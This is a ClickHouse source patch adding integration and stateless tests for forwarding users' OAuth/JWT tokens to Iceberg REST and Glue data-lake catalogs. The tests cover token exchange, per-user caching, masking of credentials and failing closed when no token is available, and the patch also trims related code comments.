test_native_protocol_forwards_jwt(started_cluster): + """`clickhouse-client --jwt` forwards the same way the HTTP interface does.""" + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + }, + ) + + token = make_token("alice") + result = node.exec_in_container( + [ + "bash", + "-c", + f"clickhouse client --jwt '{token}' --query " + f"\"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"AND name = '{namespace}.{table}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true\"", + ] + ) + # As over HTTP: the known table has to be listed, not merely some number returned. + assert result.strip() == "1", result + + +def test_exchange_at_catalog_token_endpoint(started_cluster): + """ + `oauth_token_exchange_uri` pointed at the catalog's own (deprecated) `/v1/oauth/tokens`. + The Apache fixture is the only image that routes the grant, so this is where the RFC 8693 wire + format is confirmed against a real implementation. + + Note: the fixture echoes the subject token back as the session token by design, so this suite + must not assert "the raw token appears nowhere". + """ + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "auth_scope": "catalog", + "oauth_forward_user_token": 1, + "oauth_token_exchange_uri": f"{BASE_URL}/oauth/tokens", + }, + ) + + query_id = f"exchange-{uuid.uuid4()}" + query_with_token( + node, + make_token("alice"), + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true", + params={"query_id": query_id}, + ) + + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchange") >= 1 + assert profile_event(node, query_id, "DataLakeRestCatalogTokenExchangeFailures") == 0 + # Even with an exchange configured, no `client_credentials` grant is issued behind the user. + assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 + + +def test_exchanged_session_token_is_cached_per_user(started_cluster): + """A second query by the same user reuses the exchanged session token.""" + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "auth_scope": "catalog", + "oauth_forward_user_token": 1, + "oauth_token_exchange_uri": f"{BASE_URL}/oauth/tokens", + "oauth_user_token_cache_ttl": 300, + }, + ) + + token = make_token("alice") + sql = ( + f"SELECT count() FROM system.tables WHERE database = '{CATALOG_NAME}' " + f"SETTINGS show_data_lake_catalogs_in_system_tables = true" + ) + + first = f"cache-1-{uuid.uuid4()}" + query_with_token(node, token, sql, params={"query_id": first}) + assert profile_event(node, first, "DataLakeRestCatalogTokenExchange") >= 1 + + second = f"cache-2-{uuid.uuid4()}" + query_with_token(node, token, sql, params={"query_id": second}) + assert profile_event(node, second, "DataLakeRestCatalogTokenExchange") == 0 + assert profile_event(node, second, "DataLakeRestCatalogUserTokenCacheHits") >= 1 + + +def test_no_forwarding_without_the_server_setting(started_cluster): + """ + The database setting alone is not enough: without `enable_token_forwarding` the token is + destroyed at authentication and the request has to fail closed rather than silently run as the + service principal. Verified by turning the server setting off and restarting. + """ + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + node.replace_in_config( + "/etc/clickhouse-server/config.d/token_forwarding.xml", + "1", + "0", + ) + node.query("SYSTEM RELOAD CONFIG") + try: + response = node.http_request( + "", + method="POST", + data=f"SELECT * FROM {CATALOG_NAME}.`nonexistent.table`", + headers={"Authorization": f"Bearer {make_token('alice')}"}, + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in response.text, response.text + finally: + node.replace_in_config( + "/etc/clickhouse-server/config.d/token_forwarding.xml", + "0", + "1", + ) + node.query("SYSTEM RELOAD CONFIG") + + +def test_check_database_forwards_the_user_token(started_cluster): + """ + `CHECK DATABASE` contacts the catalog, so it has to carry the querying user's token like every + other statement. It used to send no token at all and therefore could never succeed against a + forwarding database, no matter how the session had authenticated. + """ + node = started_cluster.instances["node1"] + namespace = f"ns_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "oauth_forward_user_token": 1, + }, + ) + + # `CHECK DATABASE` returns no rows: it either completes or throws. + query_with_token(node, make_token("checker"), f"CHECK DATABASE {CATALOG_NAME}") + + +def test_check_database_without_a_token_is_denied(started_cluster): + """The other half of the same statement: a session with no token must still fail closed.""" + node = started_cluster.instances["node1"] + + create_database( + node, + CATALOG_NAME, + { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, + }, + ) + + output = node.query_and_get_error( + f"CHECK DATABASE {CATALOG_NAME}", + user="passworduser", + password="passworduser_password", + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + + +WRITE_DATABASE_SETTINGS = { + "catalog_type": "rest", + "warehouse": "demo", + "storage_endpoint": "http://minio1:9001/warehouse-rest", + # A service principal is configured, so a fallback to it would succeed if one existed. + "catalog_credential": "service:principal", + "oauth_forward_user_token": 1, +} + + +def write_fixture(started_cluster, node): + """ + A namespace and a table the catalog already holds, plus a forwarding database that can reach + the data behind them. + + The table is registered through the catalog's own REST API rather than with `CREATE TABLE`: + `createStorageObjectStorage` builds the storage from the global context, which never holds a + user token, so `CREATE TABLE` against a forwarding database always fails closed. + """ + namespace = f"ns_{uuid.uuid4().hex[:8]}" + table = f"t_{uuid.uuid4().hex[:8]}" + create_namespace(started_cluster, namespace) + create_table_in_catalog(started_cluster, namespace, table) + create_database(node, CATALOG_NAME, WRITE_DATABASE_SETTINGS, storage_credentials=True) + return namespace, table + + +def test_insert_reaches_the_catalog_as_the_querying_user(started_cluster): + """ + `INSERT` commits through `catalog->updateMetadata(..., context->getForwardedAuthToken())`, so + the write path has to carry the querying user's identity exactly as the read path does. + + `docs/en/engines/database-engines/datalake.md` promises this under "What is and is not + covered"; until this test there was nothing behind the promise. + """ + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + token = make_token("writer") + query_id = f"insert-{uuid.uuid4()}" + query_with_token( + node, + token, + f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written by the token user')", + params={"query_id": query_id, **WRITE_SETTINGS}, + ) + + # The commit was signed with the user's own identity, not quietly with the service principal. + assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 + # The snapshot the catalog now points at is the one this INSERT wrote. + assert ( + query_with_token(node, token, f"SELECT x FROM {CATALOG_NAME}.`{namespace}.{table}`").strip() + == "written by the token user" + ) + + +@pytest.mark.parametrize("wait_for_async_insert", [0, 1]) +def test_async_insert_retains_the_querying_user_token(started_cluster, wait_for_async_insert): + """A queued `INSERT` must retain its token after the originating HTTP request finishes.""" + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + token = make_token("async_writer") + query_id = f"async-insert-{uuid.uuid4()}" + settings = { + **WRITE_SETTINGS, + "async_insert": 1, + "wait_for_async_insert": wait_for_async_insert, + "async_insert_use_adaptive_busy_timeout": 0, + "async_insert_busy_timeout_ms": 100 if wait_for_async_insert else 60000, + } + query_with_token( + node, + token, + f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written asynchronously')", + params={"query_id": query_id, **settings}, + ) + + if not wait_for_async_insert: + # The session has ended before an administrator without a token triggers the flush. + node.query("SYSTEM FLUSH ASYNC INSERT QUEUE") + + assert profile_event(node, query_id, "AsyncInsertQuery") == 1 + assert ( + query_with_token(node, token, f"SELECT x FROM {CATALOG_NAME}.`{namespace}.{table}`").strip() + == "written asynchronously" + ) + + +def test_insert_without_a_token_is_denied(started_cluster): + """The other half: a session with no token must not be able to write through the catalog.""" + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + output = node.query_and_get_error( + f"INSERT INTO {CATALOG_NAME}.`{namespace}.{table}` VALUES ('written by nobody')", + user="passworduser", + password="passworduser_password", + settings=WRITE_SETTINGS, + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + + +def test_drop_table_reaches_the_catalog_as_the_querying_user(started_cluster): + """ + `StorageObjectStorage::drop` sends `catalog_auth_token`, a member captured when the storage was + constructed rather than read from a query context. The invariant that makes that safe is that + `DatabaseDataLake::dropTable` builds the storage from the query context and calls `drop` on it + synchronously, so the captured token is the querying user's. Nothing else exercises it. + """ + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + query_id = f"drop-{uuid.uuid4()}" + query_with_token( + node, + make_token("dropper"), + f"DROP TABLE {CATALOG_NAME}.`{namespace}.{table}`", + params={"query_id": query_id}, + ) + + # The catalog's own view, not ClickHouse's: the drop really reached it. + assert table not in catalog_tables(started_cluster, namespace) + assert profile_event(node, query_id, "DataLakeRestCatalogAuthTokenRetrieve") == 0 + + +def test_drop_table_without_a_token_is_denied(started_cluster): + """A session with no token cannot drop, and the refusal leaves the table intact.""" + node = started_cluster.instances["node1"] + namespace, table = write_fixture(started_cluster, node) + + output = node.query_and_get_error( + f"DROP TABLE {CATALOG_NAME}.`{namespace}.{table}`", + user="passworduser", + password="passworduser_password", + ) + assert "CATALOG_USER_TOKEN_NOT_AVAILABLE" in output, output + # Fail closed means the table survives, not that it is half dropped. + assert table in catalog_tables(started_cluster, namespace) diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference new file mode 100644 index 000000000000..83370e472a0f --- /dev/null +++ b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference @@ -0,0 +1,19 @@ +-- secrets stay hidden +0 +0 +catalog_credential = '[HIDDEN]' +-- forwarding settings stay visible +oauth_forward_user_token = 1 +oauth_forward_actor_token = 1 +oauth_user_token_cache_ttl = 120 +openid-connect/token +-- the same after a detach/attach round trip +oauth_forward_user_token = 1 +0 +-- rejected combinations +cannot be combined with `auth_header` +only supported for `catalog_type = 'rest'` +requires a non-empty `catalog_credential` +has no effect without `oauth_forward_user_token = 1` +has no effect without `oauth_token_exchange_uri` +must be one of the token type URNs defined by RFC 8693 diff --git a/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh new file mode 100755 index 000000000000..6ef8d717d49d --- /dev/null +++ b/tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh @@ -0,0 +1,84 @@ +#!/usr/bin/env bash +# Tags: no-fasttest + +# The `oauth_forward_user_token` family carries no secret and must stay visible in +# `SHOW CREATE DATABASE` and `system.databases.engine_full`, while the credential settings next to +# it stay masked. No catalog is contacted: forwarding defers `/v1/config` to the first user query. + +CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal + +CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) +# shellcheck source=../shell_config.sh +. "$CUR_DIR"/../shell_config.sh + +DB="db_token_fwd_masking_${CLICKHOUSE_DATABASE}" + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + catalog_credential = 'super_client:super_secret', + oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://localhost:8080/realms/demo/protocol/openid-connect/token', + oauth_forward_actor_token = 1, + oauth_user_token_cache_ttl = 120 +" + +echo '-- secrets stay hidden' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -c 'super_secret' +${CLICKHOUSE_CLIENT} --query "SELECT engine_full FROM system.databases WHERE name = '${DB}'" | grep -c 'super_client' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB} FORMAT TSVRaw" | grep -o "catalog_credential = '\[HIDDEN\]'" + +echo '-- forwarding settings stay visible' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_actor_token = 1' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_user_token_cache_ttl = 120' +${CLICKHOUSE_CLIENT} --query "SELECT engine_full FROM system.databases WHERE name = '${DB}'" | grep -o 'openid-connect/token' + +echo '-- the same after a detach/attach round trip' +${CLICKHOUSE_CLIENT} --query "DETACH DATABASE ${DB}" +${CLICKHOUSE_CLIENT} --query "ATTACH DATABASE ${DB}" +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -c 'super_secret' + +echo '-- rejected combinations' +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, + auth_header = 'Authorization: Bearer static' +" 2>&1 | grep -o 'cannot be combined with .auth_header.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --allow_experimental_database_unity_catalog=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'unity', warehouse = 'demo', oauth_forward_user_token = 1 +" 2>&1 | grep -o "only supported for .catalog_type = 'rest'." + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://localhost:8080/token' +" 2>&1 | grep -o 'requires a non-empty .catalog_credential.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_subject_token_type = 'urn:ietf:params:oauth:token-type:access_token' +" 2>&1 | grep -o 'has no effect without .oauth_forward_user_token = 1.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', oauth_forward_user_token = 1, + oauth_forward_actor_token = 1 +" 2>&1 | grep -o 'has no effect without .oauth_token_exchange_uri.' + +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB}_bad ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS catalog_type = 'rest', warehouse = 'demo', catalog_credential = 'a:b', + oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://localhost:8080/token', + oauth_subject_token_type = 'not-a-urn' +" 2>&1 | grep -o 'must be one of the token type URNs defined by RFC 8693' + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference new file mode 100644 index 000000000000..b2e3dc928997 --- /dev/null +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference @@ -0,0 +1,18 @@ +-- SELECT +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- DESCRIBE +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- EXISTS +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- CHECK DATABASE +CATALOG_USER_TOKEN_NOT_AVAILABLE +-- SHOW TABLES discloses nothing +0 +-- and reports the refusal rather than an empty list +1 +-- the error names the server-level switch as the cause +server-level `enable_token_forwarding` setting is off +-- the credential never reaches system.query_log +0 +-- nor the server log +0 diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh new file mode 100755 index 000000000000..0f417331a068 --- /dev/null +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh @@ -0,0 +1,75 @@ +#!/usr/bin/env bash +# Tags: no-fasttest +# no-fasttest: `DataLakeCatalog` is registered only under `USE_AVRO && USE_PARQUET`. + +# A database that insists on forwarding, on a server where `enable_token_forwarding` is off (the +# default, and no config under `tests/config/` turns it on). Every path into the catalog must +# refuse with `CATALOG_USER_TOKEN_NOT_AVAILABLE` rather than fall back to the service principal. +# No catalog service is needed: the refusal happens before the first request is built. +# +# The mirror case -- forwarding allowed, but this session authenticated with a password -- needs +# `enable_token_forwarding = 1`, which a stateless test cannot arrange, and is covered by +# `test_password_user_is_denied_over_{http,native}` in +# `tests/integration/test_datalake_token_forwarding/test.py`. + +CLICKHOUSE_CLIENT_SERVER_LOGS_LEVEL=fatal + +CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) +# shellcheck source=../shell_config.sh +. "$CUR_DIR"/../shell_config.sh + +DB="db_token_fwd_closed_${CLICKHOUSE_DATABASE}" + +# The service principal's client secret, shaped like a JWT and carrying `${CLICKHOUSE_DATABASE}`, +# so that finding this string in a log is unambiguous evidence of a leak. +CANARY="eyJhbGciOiJIUzI1NiJ9.${CLICKHOUSE_DATABASE}.c2VydmljZS1wcmluY2lwYWw" + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" + +# A service principal *is* configured, so a fallback would have something to fall back to. +${CLICKHOUSE_CLIENT} --allow_experimental_database_iceberg=1 --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:8181/v1') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + catalog_credential = 'service:${CANARY}', + oauth_forward_user_token = 1 +" + +echo '-- SELECT' +${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' +echo '-- DESCRIBE' +${CLICKHOUSE_CLIENT} --query "DESCRIBE TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' +echo '-- EXISTS' +${CLICKHOUSE_CLIENT} --query "EXISTS TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' +echo '-- CHECK DATABASE' +${CLICKHOUSE_CLIENT} --query "CHECK DATABASE ${DB}" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' + +# `SHOW TABLES` turns on `show_data_lake_catalogs_in_system_tables` for its own query, under which +# `DatabaseDataLake::getTablesIterator` rethrows instead of swallowing the error into an empty list. +echo '-- SHOW TABLES discloses nothing' +${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>/dev/null | wc -l +echo '-- and reports the refusal rather than an empty list' +${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>&1 >/dev/null | grep -c 'CATALOG_USER_TOKEN_NOT_AVAILABLE' + +# Two branches share the error code, so pin down which one fired. +echo '-- the error names the server-level switch as the cause' +${CLICKHOUSE_CLIENT} --query "SELECT * FROM ${DB}.\`ns.t\`" 2>&1 | grep -o 'server-level .enable_token_forwarding. setting is off' + +# `catalog_credential` is masked out of the query text, and the refusal must not echo it into the +# exception either. +${CLICKHOUSE_CLIENT} --query "SYSTEM FLUSH LOGS query_log, text_log" +echo '-- the credential never reaches system.query_log' +${CLICKHOUSE_CLIENT} --query " +SELECT count() FROM system.query_log +WHERE event_date >= yesterday() AND current_database = currentDatabase() + AND (query LIKE '%${CANARY}%' OR exception LIKE '%${CANARY}%') +" +# Unscoped, so it also covers a leak from a background thread; the canary is unique to this run. +echo '-- nor the server log' +${CLICKHOUSE_CLIENT} --query " +SELECT count() FROM system.text_log +WHERE event_date >= yesterday() AND message LIKE '%${CANARY}%' +" + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" diff --git a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference new file mode 100644 index 000000000000..769e8906e2e3 --- /dev/null +++ b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference @@ -0,0 +1,11 @@ +-- no role to assume +requires a non-empty `aws_role_arn` +-- static keys are a second identity +cannot be combined with `aws_access_key_id` +-- AWS STS is not an OAuth token endpoint +only supported for `catalog_type = 'rest'` +-- accepted, and the role stays visible while the token does not appear at all +oauth_forward_user_token = 1 +arn:aws:iam::123456789012:role/r +-- fail closed: this session has no token to exchange +enable_token_forwarding diff --git a/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh new file mode 100755 index 000000000000..6cae9f444bf2 --- /dev/null +++ b/tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env bash +# Tags: no-fasttest +# no-fasttest: `DataLakeCatalog` is registered only under `USE_AVRO && USE_PARQUET`. + +# `CREATE DATABASE` validation of `oauth_forward_user_token` for Glue. No AWS is contacted. + +CUR_DIR=$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd) +# shellcheck source=../shell_config.sh +. "$CUR_DIR"/../shell_config.sh + +DB="${CLICKHOUSE_DATABASE}_glue" + +GLUE_SETTINGS="--allow_experimental_database_iceberg=1 --allow_database_glue_catalog=1" + +echo '-- no role to assume' +# shellcheck disable=SC2086 +${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') +SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1 +" 2>&1 | grep -o 'requires a non-empty .aws_role_arn.' + +echo '-- static keys are a second identity' +# shellcheck disable=SC2086 +${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') +SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1, + aws_role_arn = 'arn:aws:iam::123456789012:role/r', aws_access_key_id = 'AKIA', aws_secret_access_key = 'secret' +" 2>&1 | grep -o 'cannot be combined with .aws_access_key_id.' + +echo '-- AWS STS is not an OAuth token endpoint' +# shellcheck disable=SC2086 +${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') +SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1, + aws_role_arn = 'arn:aws:iam::123456789012:role/r', oauth_token_exchange_uri = 'http://localhost:8080/token' +" 2>&1 | grep -o 'only supported for .catalog_type = .rest..' + +echo '-- accepted, and the role stays visible while the token does not appear at all' +# shellcheck disable=SC2086 +${CLICKHOUSE_CLIENT} ${GLUE_SETTINGS} --query " +CREATE DATABASE ${DB} ENGINE = DataLakeCatalog('http://localhost:3000') +SETTINGS catalog_type = 'glue', region = 'us-east-1', oauth_forward_user_token = 1, + aws_role_arn = 'arn:aws:iam::123456789012:role/r' +" +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'oauth_forward_user_token = 1' +${CLICKHOUSE_CLIENT} --query "SHOW CREATE DATABASE ${DB}" | grep -o 'arn:aws:iam::123456789012:role/r' + +echo '-- fail closed: this session has no token to exchange' +${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>&1 | grep -o 'enable_token_forwarding' | head -n 1 + +${CLICKHOUSE_CLIENT} --query "DROP DATABASE IF EXISTS ${DB}" From 094c503a1dbf791182192dd80465543ec1228579 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Mon, 21 Sep 2026 14:32:02 +0200 Subject: [PATCH 2/8] Trim token-forwarding comments and redundant tests Remove commentary that restates the code and keep concise explanations of credential lifetime, publication ordering, and test synchronization. Consolidate exchange and STS assertions, remove duplicate integration cases, and drop checks that do not exercise token expiry or rotation. Retain user isolation, credential-rotation races, async token lifetime, and fail-closed coverage. Related: https://github.com/Altinity/ClickHouse/pull/2329 --- src/Access/AccessControl.h | 2 - src/Access/ForwardedAuthToken.h | 8 +- src/Common/FormUrlEncode.h | 4 +- src/Databases/DataLake/Common.h | 1 - src/Databases/DataLake/DataLakeConstants.h | 2 - src/Databases/DataLake/DatabaseDataLake.cpp | 13 +- src/Databases/DataLake/DatabaseDataLake.h | 2 - src/Databases/DataLake/GlueCatalog.cpp | 4 +- src/Databases/DataLake/GlueCatalog.h | 2 - src/Databases/DataLake/HiveCatalog.h | 1 - src/Databases/DataLake/ICatalog.cpp | 5 +- src/Databases/DataLake/ICatalog.h | 15 +- src/Databases/DataLake/PaimonRestCatalog.h | 1 - src/Databases/DataLake/RestCatalog.cpp | 83 +----- src/Databases/DataLake/RestCatalog.h | 73 +---- src/Databases/DataLake/S3TablesCatalog.h | 1 - src/Databases/DataLake/UnityCatalog.h | 2 - .../DataLake/tests/gtest_rest_catalog.cpp | 1 - .../gtest_rest_catalog_token_forwarding.cpp | 201 +------------ .../DataLake/tests/rest_catalog_test_server.h | 24 +- src/IO/S3/Credentials.cpp | 2 - src/IO/S3/Credentials.h | 4 - src/IO/S3/tests/TestPocoHTTPServer.h | 2 - ...test_sts_assume_role_with_web_identity.cpp | 2 - .../Access/InterpreterExecuteAsQuery.cpp | 4 +- src/Interpreters/AsynchronousInsertQueue.cpp | 1 - src/Interpreters/AsynchronousInsertQueue.h | 1 - src/Interpreters/Context.h | 4 - src/Interpreters/Session.cpp | 12 +- src/Interpreters/Session.h | 3 - .../tests/gtest_async_insert_key.cpp | 1 - .../ObjectStorage/StorageObjectStorage.h | 1 - ...ompose_iceberg_lakekeeper_oidc_catalog.yml | 26 +- .../configs/token_forwarding.xml | 15 - .../configs/users.xml | 1 - .../s3_mocks/mock_sts.py | 11 - .../test.py | 59 +--- .../configs/session_log.xml | 4 - .../configs/token_forwarding.xml | 11 - .../configs/users.xml | 2 - .../test_datalake_sso_lakekeeper/test.py | 131 -------- .../configs/token_forwarding.xml | 15 - .../configs/users.xml | 1 - .../test_datalake_token_forwarding/test.py | 282 +----------------- ...05027_datalake_token_forwarding_masking.sh | 4 - ...8_datalake_token_forwarding_fail_closed.sh | 20 -- .../05053_glue_token_forwarding_validation.sh | 3 - 47 files changed, 52 insertions(+), 1015 deletions(-) diff --git a/src/Access/AccessControl.h b/src/Access/AccessControl.h index 3398ea1f325c..e45405d16cc9 100644 --- a/src/Access/AccessControl.h +++ b/src/Access/AccessControl.h @@ -283,8 +283,6 @@ class AccessControl : public MultipleAccessStorage void setTokenAuthEnabled(bool enable); bool isTokenAuthEnabled() const; - /// Controls whether the token a user authenticated with is retained on the session so that it - /// can be forwarded to external services on that user's behalf. Off by default. void setTokenForwardingEnabled(bool enable); bool isTokenForwardingEnabled() const; diff --git a/src/Access/ForwardedAuthToken.h b/src/Access/ForwardedAuthToken.h index 6146979dcf88..62657fc7a917 100644 --- a/src/Access/ForwardedAuthToken.h +++ b/src/Access/ForwardedAuthToken.h @@ -9,17 +9,11 @@ namespace DB class TokenCredentials; -/// The bearer token a user authenticated to ClickHouse with, captured so that it can be forwarded -/// to an external service (an Iceberg REST catalog, or AWS STS on the way to Glue) on that user's -/// behalf. Written in exactly one place -- `Session::authenticate` -- and never serialized. struct ForwardedAuthToken { - /// Secret. Never log it, never put it in an exception message, never put it in a URL. String token; - /// Non-secret cache key derived from `token`. Used instead of the user name so that a cached - /// response cannot outlive the credential that produced it. + /// Use the token fingerprint so rotation cannot reuse credentials cached for the previous token. String fingerprint; - /// Non-secret: the authenticated user name, for logs, metrics and per-user cache partitioning. String principal; }; diff --git a/src/Common/FormUrlEncode.h b/src/Common/FormUrlEncode.h index 28bb03618e10..18602a9275d4 100644 --- a/src/Common/FormUrlEncode.h +++ b/src/Common/FormUrlEncode.h @@ -5,9 +5,7 @@ namespace DB { -/// Percent-encodes one `application/x-www-form-urlencoded` value. `Poco::URI::encode` takes the -/// set of reserved characters as its second argument and leaves the sub-delimiters alone when that -/// set is empty, so `&`, `=` or `+` inside a value would otherwise break the form. +/// `Poco::URI::encode` leaves form delimiters unescaped unless they are explicitly reserved. std::string formUrlEncode(const std::string & value); } diff --git a/src/Databases/DataLake/Common.h b/src/Databases/DataLake/Common.h index cebafe41117b..294d9d757fb4 100644 --- a/src/Databases/DataLake/Common.h +++ b/src/Databases/DataLake/Common.h @@ -20,7 +20,6 @@ DB::DataTypePtr getType(const String & type_name, bool nullable, DB::ContextPtr /// `E` is a table name. std::pair parseTableName(const std::string & name); -/// The token carried by a query context, or `{}` when there is none (or no context at all). 